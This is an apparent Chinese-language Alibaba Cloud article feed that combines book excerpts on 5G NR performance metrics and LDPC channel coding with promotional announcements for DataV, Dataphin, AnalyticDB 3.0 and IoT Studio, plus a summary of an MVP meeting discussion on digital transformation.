        • 峰值频谱效率是峰值速率条件下单位时频资源的频谱效率。在高频段,带 宽可以较宽,但频谱效率较低;而在低频段,带宽可能较窄,但频谱效率较高。 因此,峰值速率并不能直接将峰值频谱效率和带宽相乘而得出。峰值谱效下行 的指标是 30 bit/(s·Hz),上行是 15 bit/(s·Hz)。高的峰值频谱效率要求信道编 码能够支持接近于 1 的码率和高的调制等级。
        • 控制面的时延是指从空闲态到连接态传输连续数据这一过程所需的时 间,指标是 10 ms。用户面时延是假设没有非连续接收(DRX)的限制下,协议 层 2/3 的数据包(SDU)从发送侧到接收侧正确传输所需时间。对于低时延高可靠 场景,用户面时延的指标是上行 0.5 ms,下行 0.5 ms。对于无线宽带场景,用户面 时延的指标是上行 4 ms,下行 4 ms。有效的信道译码算法是降低用户面时延的一 项重要手段。
        • 可靠性定量是指一个协议层2/3的数据包(SDU)在1 ms的时间内传输的正确率。 信道条件一般是小区边缘。指标是1−10−5(5个9) 。可靠性的保证很大程度取决于信道 译码后的残余错误概率。高可靠性系统要求信道编码有较低的错误平层和较高的重传 冗余信息。
        • 电池寿命指在没有充电的情形下能维持的时间。对于海量物联网,电池寿 命需要考虑极端覆盖条件、每天上行传输的比特数、下行传输的比特数和电池 的容量。低复杂度的信道编解码技术可以降低电池功耗,延长电池寿命。
        • 对于无线宽带场景,在 Full Buffer 的业务条件下,每个扇区 / 节点的频谱 效率要求是 4G 系统的 3 倍左右,边缘频谱效率要求是 4G 系统的 3 倍。采用合 适的调制编码方式,可以进一步提高系统的频谱效率。
        • 连接数密度的定义是在单位面积中,例如,每平方公里范围内,能保证 一定 QoS 条件下的总的终端机器设备数量。QoS 需要考虑业务的到达频度、所 需传输时间以及误码率等。在城市部署场景,连接数密度的指标是每平方公里 100 万个终端机器设备。高的连接密度意味着每个终端的低成本运行,即编码 和解码要有低的复杂度。

        用户体验速率、单位面积的业务容量、每个节点的频谱效率和边缘频谱效 率等性能指标一般需要系统仿真。这将在室内热点、密集城区、农村和城区宏 站部署场景中进行评估。连接数密度同样需要系统仿真,在城区宏站和农村部 署场景中进行评估。另外,电池寿命也可用系统仿真进行评估。
        可以通过分析的方法进行评估的性能指标包括:用户面时延和控制面时延、 非频发小包的时延、峰值速率和峰值频谱效率、电池寿命等 。
        需要由链路级(和系统级)仿真来评估的指标有覆盖和可靠性。

        1.2.3 调制编码的性能仿真参数

        调制编码的性能评估一般采用单用户的链路级仿真,结果的呈现以误块率 (BLER,Block Error Rate)与信噪比(SNR,Signal-to-Noise Ratio)的曲线为主。 eMBB 和 mMTC/URLLC 的仿真参数有些不同,如表 1-3 所示。在研究的第一阶 段采用较为简单的 AWGN 信道,以便校准仿真结果。第二阶段采用相对实际的快 速衰落信道,来考察信道编码的鲁棒性。这里的侧重点是信道编码,因此调制采 用的是经典的 QPSK,16QAM 和 64QAM,分别对应较低、中等和较高的信噪比 工作点。码块长度方面,eMBB 场景的跨度较大,起点相对高,如 100 bit,反映 eMBB 业务多样性和支持高速率的特点;mMTC/URLLC 的跨度较窄,起点较低, 如最低 20 bit,反映这两类应用支持较低速率和小业务包的特点。码率的范围对比 与码块长度的对比类似。对于 URLLC 场景,BLER 的工作点要低到 10−5(甚至更 低),以便观察错误平层。
        image.png

        ]]>
        阿里云DataV专业版发布,为可视化创造更多可能! Fri, 02 May 2025 09:39:04 +0800 阿里云数据可视化应用工具DataV正式推出专业版,该版本为可视化领域专业团队和从业者量身打造,定位数据可视分析大屏搭建场景,让使用者可以轻松hold住复杂交互设计和实时数据交互查询需求。

        什么是DataV?

        从2012年起,阿里巴巴每年的双11大促都会推出一个大屏,以多种生动的展示方式实时地显示交易情况。实时数据大屏,它的特点是各种大:屏幕大、数据量大、展示信息量大。
        image

        (2017年双11区域经济闪电图,将实时订单数据与物流干线结合展示)

        作为“神屏”的幕后功臣,DataV将强大的可视化技术沉淀为模块化的、所见即所得的拖拽式搭建工具,在保持高水准视觉效果的同时,尽量降低使用门槛。而应用场景也从双 11 电商作战,扩展到智慧城市、智慧交通等诸多领域,在各行各业留下了可视化的足迹。

        四大突破,DataV专业版新功能速览

        本次推出的DataV专业版在产品功能上有以下四大突破,可以让可视化从业人员、数据分析师、数据项目经理的工作如虎添翼。

        节点式编程

        通过可视化、节点化的开发方式,用户可通过连线配置各类组件的动作、事件关系和参数,灵活配置气泡弹窗、数据钻取、组件联动、页面间交互、样式变更等复杂的交互效果。
        image

        (节点式编程功能介绍)

        例如下图这个杭州学区查询网页App,就是通过DataV专业版来制作的,通过节点式编程功能,可以自定义点击、鼠标悬停等动作更改筛选条件,进而带动展示信息的变更。进一步配置,还能实现组件样式和效果的变更。整个页面的制作时间,从以往的天级缩短到现在的小时级,只需1个数据开发、1个设计师搭配即可轻松完成,效率也大幅提升。
        image

        (杭州学区信息查询Web App,使用DataV专业版搭建,可以支持多种交互效果)

        工作空间分权能力

        允许用户建立多个工作空间并配置子账号,不同工作空间之间项目和权限完全隔离,不再担心多个项目并行开发时被误修改。

        自定义组件开发和上传

        更灵活的组件二次开发,可根据需求开发自定义组件,并通过开发者工具,帮助自开发组件在DataV中更稳定运行。
        image

        (DataV开发者工具界面,该工具用户辅助用户自测组件运行是否稳定)

        高级交互组件包

        更强大的交互分析能力,全新推出的高级交互组件,包含按钮、输入框、下拉选择器等表单组件,实现双向交互能力。

        更多

        许多行业场景都对业务信息可视化具备很高的要求,有了DataV和数据大屏的帮助,数据可视化就能真正帮助业务人员了解全局、做出更理性的决策。

        以政府行业为例,DataV能够将城市运行核心系统的各项关键数据可视化呈现,从而对包括应急指挥、城市管理、公共安全、环境保护、智能交通、基础设施等领域进行管理决策支持,赋能城市智慧管理和顺畅运行。

        查看产品:DataV数据可视化
        一图快速了解:发布核心、场景、优势、接入、更多!
        直播回顾:DataV专业版 重磅发布

        点击了解:“阿里云新品发布会频道”
        立即订阅:阿里云新品发布会·周刊

        ]]>
        “网红”科技—数据中台,离你的企业有多远? Fri, 02 May 2025 09:39:04 +0800 由阿里数据打造的智能数据构建与管理Dataphin,重磅上线阿里云-公共云,开启智能研发版本的公共云公测!在此之前,Dataphin以独立部署方式输出并服务线下客户,已助力多家大型客户高效自动化构建企业数据中台,不仅大幅度提升大数据研发效率,实现数据资产的标准化管理,更通过数据服务体系让数据智能驱动业务。快速了解

        由阿里数据打造的智能数据构建与管理Dataphin,Dataphin——智能数据构建与管理平台正式推出公共云版本服务,是经历以独立部署方式服务标杆用户后,上线阿里云公共云,以多租户形式,更加轻量经济的服务更多的企业。Dataphin通过数据架构、数据引入、数据研发、数据萃取、数据资产管理、数据服务这6个步骤,轻松助力企业数据中台的建设。在此之前,Dataphin以独立部署方式输出并服务线下客户,已助力多家大型客户高效自动化构建企业数据中台,不仅大幅度提升大数据研发效率,实现数据资产的标准化管理,更通过数据服务体系让数据智能驱动业务。查看详情

        Dataphin的核心能力

        1、数据规范定义:100%消除数据二义性。
        2、设计即开发:分钟级自动生成代码。
        3、数据资产化管理:360度全链路数据追踪。
        4、主题式服务:80%简化查询与分析。

        gifhome_640x377_12s


        概念图展示(非真实数据)

        Dataphin:源自阿里巴巴多年大数据实战沉淀

        Dataphin是多年来阿里巴巴大数据建设的实战沉淀,重点解决了阿里巴巴集团内部数据建设过程中遇到的多种问题,比如:
        (1)数据不统一:标准规范难、命名不统一、定义不统一、计算逻辑不统一,对业务响应慢;
        (2)数据未打通:孤岛现象严重、缺乏融通,价值挖掘不够;
        (3)维护困难:源系统或业务变更与数据不同步,数据质量难保障;
        (4)时效性差:重复建设导致任务链冗长、任务繁多,计算资源紧张,数据批量计算晚、实时性不够且范围窄、即时查询返回结果慢等。
        针对上述问题,阿里数据作为阿里巴巴内部大数据团队进行了探索、实践,将经验沉淀为方法论、工具,并从实际场景出发、不断迭代,逐渐形成了一套阿里巴巴大数据能力的框架,进而推动阿里巴巴数据中台的建设。其中阿里巴巴大数据能力的框架,则落地成为了今天的Dataphin。

        ]]>
        快速完成智能数据构建,Dataphin公共云版本全面解读 Fri, 02 May 2025 09:39:04 +0800 Dataphin公共云版本已经受到了阿里云上众多轻量级用户的关注。事实上,Dataphin作为一款大数据智能构建与管理的产品,其核心功能是面向各行各业大数据建设、管理及应用诉求,一站式提供从数据接入到数据消费全链路的智能数据构建与管理的大数据能力,包括产品、技术和方法论,助力企业打造标准统一、融会贯通、资产化、服务化、闭环自优化的智能数据体系,以驱动业务创新。

        基于公测期间用户关注的诸多问题,Dataphin团队在阿里云上启动了首场Dataphin公共云产品直播。针对性地解读了这一版本在性能和使用上的亮点。

        1、Dataphin可以解决什么问题?

        近年来大数据领域最热门的词非“数据中台”莫属,很多数据服务商都转型为“数据中台”的搭建者。然而与“数据中台”的构建密切相关的产品Dataphin现已正式上线阿里云公共云环境。致力于帮助更多企业完成智能数据构建与管理的期望。

        “数据中台”在媒体报道中,俨然成为了一个新的风口,那么“数据中台”也像之前的“物联网”、“O2O”一样只是概念吗?其实“数据中台”是一个经过实践验证后被提出的能力,阿里巴巴早在2015年就已确定数据中台为战略方向。今天终于可完整的携带方法论、技术、产品对集团外进行能力输出。

        阿里巴巴的数据中台是滋生于业务的,实实在在解决着业务中的痛点,对于正在进行数字化转型的企业来说,不同的岗位角色有着不同的困惑。

        image

        在数据使用上遇到一些现实问题,大致可以从业务视角和技术视角两方面来看:

        首先是业务角度,由于数据标准不统一,命名不规范,口径不一致,导致不同业务方对于同一个业务的认知有所不同;又因为由于团队之间的壁垒,导致每个团队能够使用的数据非常有限,数据孤岛化严重;而从数据加工处理的流程来看,各业务之间相互调用,逐步形成网状依赖,加剧了数据重复建设以及管理失效的现状;

        其次是技术角度,烟囱式的开发导致开发周期长、效率低下,研发资源浪费,技术标准的差异则带来维护成本奇高,同时数据垂直开发,导致生产链路复杂且长,重复计算多,数据产出时效性差;

        image

        综合整个大数据技术及应用发展历史,数据构建与管理要落地企业长效发展过程中,最大的挑战可以抽象为以下四类:

        • 业务理解上,“数据指标不一致”;举个简单的例子,就是一家企业的CEO,订立销售目标是1个亿,结果他的5个业务负责人根据各自的算法所得的业绩数据都超过2千万,所有业务leader的任务都完成了,唯独CEO的业绩却没有完成!听起来可能是个玩笑,但是口径不一致的问题经常会出现我们的业务中;
        • 需求支持上,“研发难”;一般地,一个需求提出到响应给到业务方,一般要一周时间,这还不算业务方拿到需求发现与实际业务中感知有所差异,不断地与开发者进行对齐的时间;
        • 财务账单上,“资源消耗高,财务成本重”;举个简单的例子,我们写个复杂的查询,如果没有注意到全表扫描和主键唯一校验问题,就有可能扫描一张数十亿行的数据,就有可能执行超长的时间,消耗大量的资源;
        • 数据价值透出上,则需要快速响应、敏捷开发;举个简单的例子,模型做的非常好了,但是模型师不爱写文档,或者文档太久没有更新,对于一个应用开发者或者服务开发者而言,他需要不断地去看模型的代码,去探查数据验证自己的理解和判断,直到找出所需要的数据。同样,另外一个业务开发者也需要在不同的应用中使用这份数据,如果幸运地知道别人已经开发过了,可以做到一定程度的复用,但是如果不知道这个服务的存在,这位开发者还要重新来过一遍;

        image

        2、同类市场上,Dataphin的特点与优势在哪里?

        Dataphin的原创性核心能力:

        第一:“数据规范定义”。百分百消除二义性,所谓二义性就是两个同名的指标名称但是计算口径却是不同的,Dataphin通过规范定义与自动化建模的方式消除了这种二义性的存在;这一能力打破的是概念设计与逻辑设计之间的鸿沟;

        第二:“设计即开发”。简单地说就是,实现了可视化配置后的代码自动生成,这一能力打破的是逻辑设计与物理设计之间的差异;

        第三:“数据资产化管理”。数据构建完成后,需要系统化地管理与运营,让数据资产得以高质量、低成本、安全产出,更重要的是高效流通,快速价值化;

        第四:“主题式查询”。简单地讲就是,面向数据使用者的不再是物理模型中分散的数据表,而是以主题组织的模型;对于使用者而言,将省去大量的沟通、理解成本。

        image

        3、中型企业、轻量级用户是否适合使用Dataphin吗?

        我们经常会用到这张图,形象化地描述,如果你是一家小型企业,现在开始规范化建设你的数据,将来自然生长为一个大型规范的数据中心;如果您是一家大型企业,还没有建设数据中台,提前规划,提前储备,一步到位建设数据中台。公共云版本正是在中小企业成长过程中既满足用户的需求,同时又相比独立部署价更加经济的选择。

        image

        查看产品:智能数据构建与管理 Dataphin
        一图快速了解:发布核心、场景、优势、接入、更多!
        直播回顾:Dataphin公共云重磅发布
        点击了解:“阿里云新品发布会频道”
        立即订阅:阿里云新品发布会·周刊

        ]]>
        阿里云MVP之我见:传统企业要不要All in做数字化转型? Fri, 02 May 2025 09:39:04 +0800 image.png

        阿里云MVP作为各行业的数字化转型实践者和领导者,一直致力于将阿里云产品和传统的制造业、商业、教育、养殖业结合,为了加强阿里云MVP之间的技术互动和交流,阿里云MVP区域联合会与《第三届天津云计算与数字化峰会》同期举办。

        闭门会议采用了名字接龙的游戏拉开序幕,在场的MVP介绍自己的公司和行业、2020年的计划,下一位MVP需要接上一个人的自我介绍依次说明,一个小小的破冰游戏让不同行业的MVP增加了对彼此的认识。

        刘洪峰作为物联网行业的老兵,在前一段时间参加了湖畔大学《在湖边》的“吐槽大会”活动,作为十年物联网的技术人用吐槽的方式,讲出了《创业企业要不要超配CTO》的感悟,突破了自己以往的认知。

        刘洪峰扮演的不懂技术的心理学博士,用自己配置三个CTO的血泪史,告诉技术创业公司,不懂技术的CEO找CTO要从实际的业务需求出发;刚毕业就创业的CEO们,面对超配CTO还很早,毕竟面临的很多问题还相对初级。最后刘洪峰本色吐槽道,对于物联网行业来说,超配CTO不存在的,毕竟有个像样的技术专家就很不错了!

        对于《传统企业要不要All in做数字化转型?》的话题,整个区域联合会各种观点层出不穷

        云顶云科技章斌——All in是针对全部业务,还是某个系统All in?这个需要根据传统企业的实际情况来看,传统企业要做业务转型,而不是整个公司转型。

        云顶云科技黄军雷——传统企业最大的问题,就是能不能多挣钱?如何在数字化转型的大潮中增效降本,从个别的传统行业来看,数字化转型迫在眉睫,急需All in转型。

        海量信息技术杨伟峰——企业发展形态有三种,一是撑不下去了,二是遇到天花板了,三是缺乏创新精神了,这是在每个时代都会遇到的,如何在发展迅速的大数据时代,根据数据智能化来判断如何去做数字化转型,这才是根本问题。

        云顶云科技陈鸿斌——传统企业不是要不要转型数字化的问题,而是时代的巨轮不断的滚动,让传统企业被迫选择数字化转型。最关键的是,来自全新领域的降维打击会让传统企业猝不及防!

        永徽科技张兵——传统企业要All in数字化转型,最重要的是企业的心态要好,要从高层、中层、底层自发的创造心态去完成这个事情,这样才会成功。

        叶帆科技刘洪峰——未来是智能化时代,传统企业All in做数字化转型其实是夏天在卖冬天的被子,不做会死,但做不一定会死。

        青苔数据程永——全场最佳观点:从传统企业的老板思维出发,老板不会用赌徒的心态去做数字化转型(100万节省1个亿),同时还要从市场的大环境去考虑,市场上目前大数据、AI算法工程师昂贵的定价,让整个成本居高不下,成本打不下来,根本无法All in做数字化转型。

        阿里云容器服务高级技术专家闫长海——传统企业的市场最不好做,每次的技术迭代都是晚期使用者,但架不住传统企业市场大,要多从如何为用户带来价值,怎么让自己的业务新陈代谢的角度出发,就能更好的理解All in数字化转型这个事情了。

        产品面对面容器服务技术专家闫长海,多位MVP在现场进行了深度的产品交流,从容器产品的构造、客户使用情况、调用接口、最佳实践、安全性等方面对话,未来MVP学院会继续围绕产品共建、技术和软实力的方面来持续为MVP进行深度沟通与合作。

        欢迎更多的前沿科技技术专家加入阿里云MVP,打造个人技术影响力,为更多开发者发声!

        ]]>
        更简单易用的数据仓库,阿里云重磅推出分析型数据库3.0版 Fri, 02 May 2025 09:39:04 +0800 全新的AnalyticDB采⽤分布式云盘三副本机制,为企业客户提供99.9999999%的数据可靠性保证。此外,性能⼤幅度提升,基准测试写⼊性能提升50%,查询性能提升40%。实例存储空间可变,灵活控制CPU、存储和内存配⽐。全⾯兼容MySQL、数据类型更完备。更简单易⽤,使得企业客户像开启MySQL⼀样,使⽤数据仓库!

        据介绍,阿⾥巴巴早些年先后尝试过单节点Oracle、Oracle RAC、Greenplum做准实时分析。为了 迎接更⼤数据集、更⾼并发、更⾼可⽤、更实时的数据应⽤发展趋势,从2011年开始,在线分析这个技术 领域,阿⾥实时数仓坚定的⾛上了⾃研之路。

        ⼋年磨⼀剑,如今的分析型数据库AnalyticDB作为阿⾥云数据库的战略核⼼产品,已经演进⾄全新的3.0版,AnalyticDB已成为了改变企业客户数据使⽤⽅式的产品:

        1.极速分析:运⽤MPP+DAG融合计算引擎,采⽤⾏列混存技术、⾃动索引、智能优化器,瞬间即可对海量数据做多维分析透视,复杂SQL性能是传统关系型数据库10倍以上!

        2.简单易⽤:兼容MySQL语法,利⽤DTS和⽇志服务将数据实时同步⾄AnalyticDB,基于Quick BI和Datav等可视化⼯具,全程拖拽式配置,10分钟搭建实时数据运营⼤盘。

        3.价值在线化:从采集、分析计算到可视化展现,整个链路的数据产出延时在1分钟以内。真正做到快速⾼效地帮助企业⽤户实时洞察数据价值,掌控当前业务运转状况。

        4.全托管服务:开箱即⽤,⽆需管理资源和服务器。全分布式架构,可轻松扩展⾄PB级数据仓库,解决传统数据库拆分的烦恼。全索引设计和智能优化器,使得开发者⽆需关注SQL调优,专注于数据业务开发。

        阿⾥云OLAP数据库产品负责⼈缪⻓⻛表示,当下越来越多企业正⾯临着数字化转型,转型路上技术只有2类选择:⽤传统⼤数据技术栈(Hadoop & Spark等)处理数据,或⽤数据库思路处理数据 (AnalyticDB、Greenplum等)。传统⼤数据技术栈发展这么多年,⼀直没有解决的是如何简单快速的实时挖掘数据价值。AnalyticDB使命就是不断降低企业客户使⽤数据的⻔槛,只需要通过简单配置,全程拖拽式即可⽣成企业实时数据⼤盘。

        智明星通,是⾏业知名的社交游戏公司,采⽤AnalyticDB实现每天TB级⽇志、上千运营指标实时复杂分析,AnalyticDB⼤幅度提升了游戏运营的效率,实现游戏实时数据化转型。

        image

        杭州联华华商,致⼒于打造线上线下合的全渠道零售商,基于AnalyticDB建⽴会员消费BI系统,⼤幅降低⼈⼒成本,提⾼了运营效率。AnalyticDB已成为联华华商数据智能驱动新零售的核⼼引擎。

        image

        AnalyticDB为数据价值在线化而生,其简单易用、灵活伸缩、极快的分析性能深得云上企业客户的青睐。作为实时云数据仓库平台,希望能将最领先的下一代实时数仓能力普惠给所有企业,帮助企业转型加速数据价值探索和在线化。

        ]]>
        AnalyticDB for MySQL 3.0 技术架构解析 Fri, 02 May 2025 09:39:04 +0800 企业数据需求不断变化,近年来变化趋势日益明显,从数据的3V特性看:体积,速度和变化;Big Data强调数据量,PB级以上,是静态数据。而Fast Data在数据量的基础上,意味着速度和和变化,意味着客户可以更加实时化、更加快速地进行数据处理。在Forrester最近的一项研究中,超过75%的受访公司已经使用Fast Data解决方案。 在接受调查的人中,88%表示他们需要近乎实时地对数据执行分析。

        AnalyticDB是阿里巴巴自主研发、唯一经过超大规模以及核心业务验证的PB级实时数据仓库,是FastData的最佳代表。自2012年第一次在集团发布上线以来,至今已累计迭代发布近百个版本,支撑起集团内的电商、广告、菜鸟、文娱、飞猪等众多在线分析业务。AnalyticDB于2014年在阿里云开始正式对外输出,支撑行业既包括传统的大中型企业和政府机构,也包括众多的互联网公司,覆盖外部十几个行业。

        AnalyticDB承接着阿里巴巴广告营销、商家数据服务、菜鸟物流、盒马新零售等众多核心业务的高并发分析处理, 每年双十一上述众多实时分析业务高峰驱动着AnalyticDB不断的架构演进和技术创新。

        AnalyticDB for MySQL 3.0针对Fast Data毫秒处理的需求,重新设计了架构,提供及时且经济高效的数据处理的系统和方法,各个事件在到达时进行处理,处理延时到秒、毫秒,真正同时满足数据体积,速度和变化的3V属性,助力企业打造一个实时的数据世界。根据2019年The Forrester Wave™: Database-As-A-Service,Q2 2019的最新报告,阿里云数据已经进入全球第二梯队(Strong Performers) ,同时也连续多年进入 Gartner发布的分析型数据管理平台报告 (Magic Quadrant for Data Management Solutions for Analytics),进入全球分析市场。

        AnalyticDB for MySQL 3.0当前整体架构如下图。
        image

        其中几个主要的组件为:

        Coordinator: 前端控制节点,职责包括

        o MySQL协议层接入,SQL解析
        o 认证和鉴权,提供了更完善和细化的权限体系模型,白名单和集群级别RAM控制,并审计与合规记录所有SQL操作。
        o 集群管理:成员管理、元数据、数据一致性、路由同步、备份与恢复(数据与log管理)
        o 后台异步任务管理
        o 事务管理
        o 优化器,执行计划生成
        o 计算调度,负责执行任务调度

        Worker: 存储和计算节点,包含

        计算模块

        分布式MPP+DAG混合计算引擎和优化器达到了更高的复杂计算能力,和混合负载管理能力,TPC-H性能比之前版本快大约40%。
        利用阿里云计算平台之上资源灵活调度上的优势,实现了计算资源的弹性调度。计算Worker节点可以单独拉起,因应业务需求做到分钟级甚至秒级扩展,实现资源的最有效利用。

        存储模块

        存储模块更加轻量化,具备了承载更大吞吐数据实时写入和读取能力,写入性能比之前版本同等规格高50%倍左右,毫秒级可见,满足客户实时分析需求。

        AnalyticDB for MySQL 3.0是运行在云盘 + OSS系统上而不是本地盘上。随着RDMA、ESSD盘的应用技术更稳定,后端节点直接利用云盘分布式存储构建大容量高可用的数据库存储集群会更有优势。

        通过云盘的能力,AnalyticDB for MySQL 3.0做到了磁盘灵活扩缩,进一步降低了用户成本。用户根据实际使用量购买相应磁盘空间,无需为固定的多余空间买单;当用户磁盘达到瓶颈时可以按需扩容。对于访问的比较少,且访问频次会随着时间的流逝而减少冷数据,通过更低成本的OSS做分层存储机制,在保持9个9的数据可靠性同时,进一步降低用户成本。

        存储节点提供全量和增量备份和恢复能力,云盘的定期快照和日志会实时同步到OSS中保存,对用户数据提供更高的安全保障,帮助用户在数据库发生问题时最大限度的找回。

        Worker Group

        带存储模块的Worker节点被划分为一个个节点组(Worker Group),提供三副本的存储,通过Raft分布式一致性协议像一个整体一样工作,允许其中一些Worker节点出现故障也能继续提供服务。

        AnalyticDB的读写链路就是稳定运行在上诉组件之上

        o 写入链路,数据通过Coordinator写入后,会根据表上的分区键写入到不同的表分区(Shard)所属的Worker Group中,每个Worker Group中的Worker三副本通过Raft协议保证了数据的强一致性、高可靠、高可用、实时可见(线性一致性);为了保证高效,AnalyticDB进行了GroupCommit、压缩、异步化、零拷贝等众多优化技术,大幅优化了写入性能, TPC-H表单节点TPS 到达15w 以上,并且可以线性扩展;

        o 查询链路,用户的SQL语句通过MySQL协议发送到Coordinator后,SQL会被Parser进行解析生成逻辑计划,然后被Optimizer进行优化后生成物理执行计划,再发送给计算调度模块将该SQL的物理执行Task分发到不同的Worker节点执行,每个执行Task都会被关联到Worker上的存储,从存储拉取数据进行分布式计算。为了提升计算性能,AnalyticDB进行了计算下推存储、高效智能索引筛选、向量化+Pipeline流式执行等一系列优化,目前AnalyticDB的TPC-DS性能做到了全球最快。

        在此之上,通过服务秒级恢复,AZ内/跨AZ部署,自动故障检测、摘除和副本重搭,配合上述的三副本存储、全量和增量备份,提供金融级别的数据可靠性保证。在周边生态上,提供数据迁移、数据同步、数据管理、数据集成、数据安全等配套工具,方便用户使用,使用户能更加专注于业务发展。

        总结

        综上,AnalyticDB for MySQL 3.0版本融合了分布式、弹性计算与云计算的优势,对规模性、易用性、可靠性和安全性等方面进行了大规模的改进,充分满足不同场景Fast Data实时数据仓库的需求。支持更大规模的并发访问、更快读写能力以及更智能的混合查询负载管理等,实现更精细化的资源利用和更低成本的投入,让用户能更加专注于业务发展,专注于数据价值。

        ]]>
        阿里云物联网平台IoT Studio,帮助用户经济高效的完成物联网应用开发 Fri, 02 May 2025 09:39:04 +0800

        查看详情:物联网应用开发 (IoT Studio)
        点击了解:“阿里云新品发布会频道”
        立即订阅:阿里云新品发布会·周刊

        近年来,在物联网市场蓬勃发展、商业机会层出不穷的同时,大量物联网企业在实际项目交付中经常面临应用开发成本高,需求定制化程度高、投入产出比低等一系列问题。阿里云物联网平台IoT Studio开发服务,是阿里云整合在应用开发领域的丰富经验倾力打造的一站式、低成本、高稳定、易定制的物联网生产力工具,旨在帮助用户经济高效的完成物联网应用开发。

        什么是IoT Studio?

        IoT Studio是阿里云针对物联网场景提供的生产力工具,是阿里云物联网平台的重要组成部分。可覆盖各个物联网行业核心应用场景,比如云端组态开发、设备相关后台系统搭建、设备数据与云端服务连接等,帮助用户高效经济地完成物联网场景相关的服务及应用开发。IoT Studio提供了可视化应用开发、服务开发等一系列便捷的物联网开发工具,帮助用户解决物联网开发过程中常见的成本高、开发链路长、技术栈复杂、定制化强、方案移植困难等问题,重新定义物联网应用开发。

        IoT Studio的产品功能有哪些?

        第一,IoT Studio提供面向各个行业提供场景化解决方案模板,企业可以直接利用现有的(包含设备,应用和服务的)解决方案模版来开发自己的业务,将原有需要几周开发过程缩短到几天,让企业以更小的开发成本撬动更高的商业价值。
        第二,IoT Studio提供了可视化应用开发的功能。用户通过简单的可视化拖拽的方式,即可将各种组件、图表与设备相关的数据源进行关联,几乎无需任何编程经验,便可完成物联网应用开发的整套过程,就像使用PPT一样的简单。
        第三,IoT Studio提供了服务开发的功能。用户可以很方便的实现设备之间的联动、设备与服务之间的数据流转。IoT Studio同时打通了阿里云API市场、用户可以低成本地利用各种人工智能及数据分析的API。通过可视化的方式开发、构建、调试、及一键完成云端服务地部署,在灵活简单开发的同时保证服务的稳定性。

        IoT Studio的产品优势有哪些?

        1.应用服务可视化搭建:用户可以通过拖拽、配置操作,简单快速地完成设备数据监控相关的Web页面、移动应用、API服务的开发。物联网企业可以专注于核心业务,从传统开发的繁琐细节中脱身,有效提升开发效率。
        2.设备数据无缝集成:设备相关的属性、服务、事件等数据均可从阿里云物联网平台设备接入和管理模块中直接获取,大大降低物联网开发工作量。
        3.开发资源丰富全面:各开发平台均拥有数量众多的组件和丰富的API。随着产品迭代升级,组件库会愈加丰富,IoT Studio帮助您提升开发效率。
        4.无需部署、即刻交付:使用IoT Studio,应用服务开发完毕后,直接托管在云端,支持直接预览、使用。无需部署即可交付使用,免除您额外购买服务器等产品的烦恼。

        查看详情:物联网应用开发 (IoT Studio)
        点击了解:阿里云新品发布会频道
        立即订阅:阿里云新品发布会·周刊

        ]]>
        LDPC 码的基本原理 | 带你读《5G-NR信道编码》之七 Fri, 02 May 2025 09:39:04 +0800 低密度校验码(LDPC)

        2.1 LDPC的产生与发展

        | 2.2 LDPC 码的基本原理 |

        2.2.1 Gallager 码

        LDPC 码是一种分组校验码,由 Gallager 于 1963 年提出 [1-2]。在其博士论 文 [2] 中,除了对性能界的详尽分析之外,Gallager 还建议了两种解码方法:一 种是简单的代数法解码;另一种是基于概率论的解码。
        论文 [1-2] 所想表达的一个思想是,尽管 LDPC 的“低重”特性从码距的角 度不具有很强的优势,但稀疏阵结构可以降低解码的计算量,在性能与工程实 现复杂度之间提供一个折中。在之后的近 40 多年,LDPC 经历了一段相对沉寂 的时期。部分的原因是基于概率论解码的复杂度要比代数法解码高很多,即使 采用稀疏权重的设计,对于当时的硬件,其成本还是难以接受。
        另一个原因是对概率论解码的认识本身,包括其性能潜力。传统信道编码 理论评判一个码的性能大多是基于码距分析的,通过最小码距及码距的分布, 得到性能界的解析表达式,从而比较“严格”地推断出该信道编码的纠错能力。 这类方法对较短码长且基于代数法解码的分组码十分有效,但当码长较长且采 用概率论的解码,就显得不那么有力。LDPC 码的优势在于长码和运用概率方 法解码。因此在很长的一段时间中,它的潜力并没有被学术界和工业界所广泛认识。
        1993 年 Turbo 码 [7] 的出现掀起了业界对概率法解码的热潮。所谓概率法 解码,即采用软的信息比特,而不是代数式译码中的“对”或“错”的硬判决。“软”体现在每个比特位的置信度是一个概率分布,即一个实数,相当于“对” 与“错”之间渐变的“灰度”。概率法解码一般需要与迭代译码相结合,才会 体现其优势。仿照 Turbo 译码原理,大家又重新发现最初 Gallager 所提的 LDPC 的概率法解码就是采用迭代译码的。而且 Turbo 和 LDPC 都可以用因子 图(Factor Graph)[16] 的分析手段统一起来,所用的解码方法也可以归类为人 工智能当中的置信传播(Belief Propagation)算法 [17] 或者信息传递(Message Passing)[18]。
        经典的 LDPC 编码器可以按如下描述。一个长度为 k 的二元的信息比特序 列 u,引入 m 个校验比特后,生成 n 个编码比特的序列 t,此 时码率为 k/n。因 为是线性码,码字 t 可以用 u 乘以一个生成矩阵 GT 来表示:
        image.png
        生成矩阵 GT 包含两部分:
        image.png
        如果采用硬判决的代数法译码,相应的校验矩阵可以写成:
        image.png
        当码字在传输中没有错误时,奇偶校验通过,即,

        image.png

        其中,第一个值为t的估值。需要指出的是,LDPC校验矩阵有时不一定写成右边为单位矩阵的形式,尤其当采用概率译码(如软信息的置信度传播)方式。此时需要对校验矩阵做一些线性代数的变换,求出生成矩阵以便编码。
        LDPC的特点在于行数为m,列数为n的校验矩阵A具有稀疏性,即多数的元素为0,矩阵A的产生方法有随机生成、结构化设计或者穷举寻找,详细请见后述(第2.3节和第2.5.3节)。
        一个LDPC编码后的码块通过AWGN信道的框图如图2-2所示:
        image.png
        在图2-2中,信息比特流u先进行编码。编码后的比特流t经过AWGN信道,输出为观测到的序列 y。LDPC 解码器进行变量节点和校验节点之间的反 复迭代交换软信息,若干次迭代后,解码器输出硬判决结果,即解码后的信息 比特序列u的估计值。
        LDPC 校验矩阵 A 的稀疏性的必要性在于:

        • LDPC 采用的是“加和乘”(Sum-product)的译码算法。该算法只有当二 分图(Bipartite)中没有环(Cycle-free),或者没有短环(Short Cycle)时才能 达到较好的性能。而稀疏性可以大大降低短环出现的可能性;
        • 稀疏性意味着变量节点和校验节点之间的连接密度不高,这样在做“加和 乘”的译码时可以减少累加和相乘的运算,降低译码的复杂度;
        • 当校验矩阵 A 是稀疏阵时,其相应的生成矩阵 GT 通常不具有稀疏性,这说明产生的编码序列t的编码权重有可能较高,从而具有较好的编码矩阵。

        2.2.2 规则 LDPC 和非规则 LDPC

